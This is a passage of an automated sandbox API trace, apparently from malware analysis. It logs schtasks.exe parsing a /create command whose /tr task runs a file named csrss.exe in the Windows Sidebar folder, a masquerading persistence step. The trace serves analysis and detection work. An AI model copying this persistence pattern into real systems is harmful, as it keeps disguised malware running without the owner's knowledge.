_ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.521] lstrlenW (lpString="|?|") returned 3 [0058.521] lstrlenW (lpString="|mo|") returned 4 [0058.522] SetLastError (dwErrCode=0x490) [0058.522] lstrlenW (lpString="s") returned 1 [0058.522] lstrlenW (lpString="s") returned 1 [0058.522] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.522] lstrlenW (lpString="mo") returned 2 [0058.522] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.522] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|s|") returned 3 [0058.522] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.522] lstrlenW (lpString="|s|") returned 3 [0058.522] lstrlenW (lpString="|mo|") returned 4 [0058.522] SetLastError (dwErrCode=0x490) [0058.522] lstrlenW (lpString="u") returned 1 [0058.522] lstrlenW (lpString="u") returned 1 [0058.522] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.522] lstrlenW (lpString="mo") returned 2 [0058.522] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.522] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|u|") returned 3 [0058.522] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.522] lstrlenW (lpString="|u|") returned 3 [0058.522] lstrlenW (lpString="|mo|") returned 4 [0058.522] SetLastError (dwErrCode=0x490) [0058.522] lstrlenW (lpString="p") returned 1 [0058.522] lstrlenW (lpString="p") returned 1 [0058.522] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.522] lstrlenW (lpString="mo") returned 2 [0058.522] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.522] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|p|") returned 3 [0058.522] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.522] lstrlenW (lpString="|p|") returned 3 [0058.522] lstrlenW (lpString="|mo|") returned 4 [0058.522] SetLastError (dwErrCode=0x490) [0058.523] lstrlenW (lpString="ru") returned 2 [0058.523] lstrlenW (lpString="ru") returned 2 [0058.523] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.523] lstrlenW (lpString="mo") returned 2 [0058.523] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.523] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ru|") returned 4 [0058.523] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.523] lstrlenW (lpString="|ru|") returned 4 [0058.523] lstrlenW (lpString="|mo|") returned 4 [0058.523] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0058.523] SetLastError (dwErrCode=0x490) [0058.523] lstrlenW (lpString="rp") returned 2 [0058.523] lstrlenW (lpString="rp") returned 2 [0058.523] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.523] lstrlenW (lpString="mo") returned 2 [0058.523] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.523] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rp|") returned 4 [0058.523] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.523] lstrlenW (lpString="|rp|") returned 4 [0058.523] lstrlenW (lpString="|mo|") returned 4 [0058.523] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0058.523] SetLastError (dwErrCode=0x490) [0058.523] lstrlenW (lpString="sc") returned 2 [0058.523] lstrlenW (lpString="sc") returned 2 [0058.524] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.524] lstrlenW (lpString="mo") returned 2 [0058.524] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.524] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.524] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.524] lstrlenW (lpString="|sc|") returned 4 [0058.524] lstrlenW (lpString="|mo|") returned 4 [0058.524] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0058.524] SetLastError (dwErrCode=0x490) [0058.524] lstrlenW (lpString="mo") returned 2 [0058.524] lstrlenW (lpString="mo") returned 2 [0058.524] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.524] lstrlenW (lpString="mo") returned 2 [0058.524] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.524] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.524] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.524] lstrlenW (lpString="|mo|") returned 4 [0058.524] lstrlenW (lpString="|mo|") returned 4 [0058.524] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0058.524] SetLastError (dwErrCode=0x0) [0058.524] SetLastError (dwErrCode=0x0) [0058.524] lstrlenW (lpString="10") returned 2 [0058.524] lstrlenW (lpString="-/") returned 2 [0058.524] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0058.524] SetLastError (dwErrCode=0x490) [0058.524] SetLastError (dwErrCode=0x490) [0058.524] SetLastError (dwErrCode=0x0) [0058.524] lstrlenW (lpString="10") returned 2 [0058.524] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0058.524] SetLastError (dwErrCode=0x490) [0058.525] SetLastError (dwErrCode=0x0) [0058.525] _memicmp (_Buf1=0x6d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.525] lstrlenW (lpString="10") returned 2 [0058.525] lstrlenW (lpString="10") returned 2 [0058.525] lstrlenW (lpString=" \x09") returned 2 [0058.525] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0058.525] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0058.525] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0058.525] GetLastError () returned 0x0 [0058.525] lstrlenW (lpString="10") returned 2 [0058.525] lstrlenW (lpString="10") returned 2 [0058.525] GetProcessHeap () returned 0x50000 [0058.525] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x6) returned 0x65550 [0058.525] SetLastError (dwErrCode=0x0) [0058.525] SetLastError (dwErrCode=0x0) [0058.525] lstrlenW (lpString="/tr") returned 3 [0058.525] lstrlenW (lpString="-/") returned 2 [0058.525] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.525] lstrlenW (lpString="create") returned 6 [0058.525] lstrlenW (lpString="create") returned 6 [0058.525] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.525] lstrlenW (lpString="tr") returned 2 [0058.525] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.525] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|create|") returned 8 [0058.525] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.525] lstrlenW (lpString="|create|") returned 8 [0058.525] lstrlenW (lpString="|tr|") returned 4 [0058.525] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0058.525] SetLastError (dwErrCode=0x490) [0058.525] lstrlenW (lpString="?") returned 1 [0058.525] lstrlenW (lpString="?") returned 1 [0058.525] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.525] lstrlenW (lpString="tr") returned 2 [0058.526] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.526] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|?|") returned 3 [0058.526] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.526] lstrlenW (lpString="|?|") returned 3 [0058.526] lstrlenW (lpString="|tr|") returned 4 [0058.526] SetLastError (dwErrCode=0x490) [0058.526] lstrlenW (lpString="s") returned 1 [0058.526] lstrlenW (lpString="s") returned 1 [0058.526] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.526] lstrlenW (lpString="tr") returned 2 [0058.526] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.526] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|s|") returned 3 [0058.526] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.526] lstrlenW (lpString="|s|") returned 3 [0058.526] lstrlenW (lpString="|tr|") returned 4 [0058.526] SetLastError (dwErrCode=0x490) [0058.526] lstrlenW (lpString="u") returned 1 [0058.526] lstrlenW (lpString="u") returned 1 [0058.526] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.526] lstrlenW (lpString="tr") returned 2 [0058.526] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.526] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|u|") returned 3 [0058.526] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.526] lstrlenW (lpString="|u|") returned 3 [0058.526] lstrlenW (lpString="|tr|") returned 4 [0058.526] SetLastError (dwErrCode=0x490) [0058.526] lstrlenW (lpString="p") returned 1 [0058.526] lstrlenW (lpString="p") returned 1 [0058.526] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.526] lstrlenW (lpString="tr") returned 2 [0058.526] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.527] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|p|") returned 3 [0058.527] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.527] lstrlenW (lpString="|p|") returned 3 [0058.527] lstrlenW (lpString="|tr|") returned 4 [0058.527] SetLastError (dwErrCode=0x490) [0058.527] lstrlenW (lpString="ru") returned 2 [0058.527] lstrlenW (lpString="ru") returned 2 [0058.527] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.527] lstrlenW (lpString="tr") returned 2 [0058.527] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.527] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ru|") returned 4 [0058.527] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.527] lstrlenW (lpString="|ru|") returned 4 [0058.527] lstrlenW (lpString="|tr|") returned 4 [0058.527] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0058.527] SetLastError (dwErrCode=0x490) [0058.527] lstrlenW (lpString="rp") returned 2 [0058.527] lstrlenW (lpString="rp") returned 2 [0058.527] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.527] lstrlenW (lpString="tr") returned 2 [0058.527] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.527] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rp|") returned 4 [0058.527] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.527] lstrlenW (lpString="|rp|") returned 4 [0058.527] lstrlenW (lpString="|tr|") returned 4 [0058.527] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0058.527] SetLastError (dwErrCode=0x490) [0058.527] lstrlenW (lpString="sc") returned 2 [0058.527] lstrlenW (lpString="sc") returned 2 [0058.527] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.527] lstrlenW (lpString="tr") returned 2 [0058.528] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.528] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.528] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.528] lstrlenW (lpString="|sc|") returned 4 [0058.528] lstrlenW (lpString="|tr|") returned 4 [0058.528] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0058.528] SetLastError (dwErrCode=0x490) [0058.528] lstrlenW (lpString="mo") returned 2 [0058.528] lstrlenW (lpString="mo") returned 2 [0058.528] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.528] lstrlenW (lpString="tr") returned 2 [0058.528] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.528] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.528] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.528] lstrlenW (lpString="|mo|") returned 4 [0058.528] lstrlenW (lpString="|tr|") returned 4 [0058.528] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0058.528] SetLastError (dwErrCode=0x490) [0058.528] lstrlenW (lpString="d") returned 1 [0058.528] lstrlenW (lpString="d") returned 1 [0058.528] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.528] lstrlenW (lpString="tr") returned 2 [0058.528] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.528] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|d|") returned 3 [0058.528] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.528] lstrlenW (lpString="|d|") returned 3 [0058.528] lstrlenW (lpString="|tr|") returned 4 [0058.528] SetLastError (dwErrCode=0x490) [0058.528] lstrlenW (lpString="m") returned 1 [0058.528] lstrlenW (lpString="m") returned 1 [0058.528] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.529] lstrlenW (lpString="tr") returned 2 [0058.529] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.529] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|m|") returned 3 [0058.529] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.529] lstrlenW (lpString="|m|") returned 3 [0058.529] lstrlenW (lpString="|tr|") returned 4 [0058.529] SetLastError (dwErrCode=0x490) [0058.529] lstrlenW (lpString="i") returned 1 [0058.529] lstrlenW (lpString="i") returned 1 [0058.529] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.529] lstrlenW (lpString="tr") returned 2 [0058.529] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.529] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|i|") returned 3 [0058.529] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.529] lstrlenW (lpString="|i|") returned 3 [0058.529] lstrlenW (lpString="|tr|") returned 4 [0058.529] SetLastError (dwErrCode=0x490) [0058.529] lstrlenW (lpString="tn") returned 2 [0058.529] lstrlenW (lpString="tn") returned 2 [0058.529] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.529] lstrlenW (lpString="tr") returned 2 [0058.529] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.529] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.529] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.529] lstrlenW (lpString="|tn|") returned 4 [0058.529] lstrlenW (lpString="|tr|") returned 4 [0058.529] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0058.529] SetLastError (dwErrCode=0x490) [0058.529] lstrlenW (lpString="tr") returned 2 [0058.529] lstrlenW (lpString="tr") returned 2 [0058.529] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.529] lstrlenW (lpString="tr") returned 2 [0058.529] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.530] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.530] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.530] lstrlenW (lpString="|tr|") returned 4 [0058.530] lstrlenW (lpString="|tr|") returned 4 [0058.530] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0058.530] SetLastError (dwErrCode=0x0) [0058.530] SetLastError (dwErrCode=0x0) [0058.530] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.530] lstrlenW (lpString="-/") returned 2 [0058.530] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0058.530] SetLastError (dwErrCode=0x490) [0058.530] SetLastError (dwErrCode=0x490) [0058.530] SetLastError (dwErrCode=0x0) [0058.530] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.530] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows Sidebar\\csrss.exe'" [0058.530] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.530] _memicmp (_Buf1=0x6c470, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.530] _memicmp (_Buf1=0x6d640, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.530] SetLastError (dwErrCode=0x7a) [0058.530] SetLastError (dwErrCode=0x0) [0058.530] SetLastError (dwErrCode=0x0) [0058.530] lstrlenW (lpString="'C") returned 2 [0058.530] lstrlenW (lpString="-/") returned 2 [0058.530] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0058.530] SetLastError (dwErrCode=0x490) [0058.530] SetLastError (dwErrCode=0x490) [0058.530] SetLastError (dwErrCode=0x0) [0058.530] _memicmp (_Buf1=0x6d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.530] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.530] GetProcessHeap () returned 0x50000 [0058.530] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6c0) returned 1 [0058.530] GetProcessHeap () returned 0x50000 [0058.530] RtlReAllocateHeap (Heap=0x50000, Flags=0xc, Ptr=0x6d6c0, Size=0x66) returned 0x6c3b0 [0058.531] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.531] lstrlenW (lpString=" \x09") returned 2 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0058.531] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0058.531] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0058.531] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0058.532] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0058.532] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0058.532] GetLastError () returned 0x0 [0058.532] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.532] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.532] SetLastError (dwErrCode=0x0) [0058.532] SetLastError (dwErrCode=0x0) [0058.532] lstrlenW (lpString="/rl") returned 3 [0058.532] lstrlenW (lpString="-/") returned 2 [0058.532] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.532] lstrlenW (lpString="create") returned 6 [0058.532] lstrlenW (lpString="create") returned 6 [0058.532] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.532] lstrlenW (lpString="rl") returned 2 [0058.532] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.532] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|create|") returned 8 [0058.532] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.533] lstrlenW (lpString="|create|") returned 8 [0058.533] lstrlenW (lpString="|rl|") returned 4 [0058.533] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0058.533] SetLastError (dwErrCode=0x490) [0058.533] lstrlenW (lpString="?") returned 1 [0058.533] lstrlenW (lpString="?") returned 1 [0058.533] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.533] lstrlenW (lpString="rl") returned 2 [0058.533] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.533] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|?|") returned 3 [0058.533] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.533] lstrlenW (lpString="|?|") returned 3 [0058.533] lstrlenW (lpString="|rl|") returned 4 [0058.533] SetLastError (dwErrCode=0x490) [0058.533] lstrlenW (lpString="s") returned 1 [0058.533] lstrlenW (lpString="s") returned 1 [0058.533] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.533] lstrlenW (lpString="rl") returned 2 [0058.533] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.533] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|s|") returned 3 [0058.533] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.533] lstrlenW (lpString="|s|") returned 3 [0058.533] lstrlenW (lpString="|rl|") returned 4 [0058.533] SetLastError (dwErrCode=0x490) [0058.533] lstrlenW (lpString="u") returned 1 [0058.533] lstrlenW (lpString="u") returned 1 [0058.533] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.533] lstrlenW (lpString="rl") returned 2 [0058.533] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.533] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|u|") returned 3 [0058.533] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.533] lstrlenW (lpString="|u|") returned 3 [0058.534] lstrlenW (lpString="|rl|") returned 4 [0058.534] SetLastError (dwErrCode=0x490) [0058.534] lstrlenW (lpString="p") returned 1 [0058.534] lstrlenW 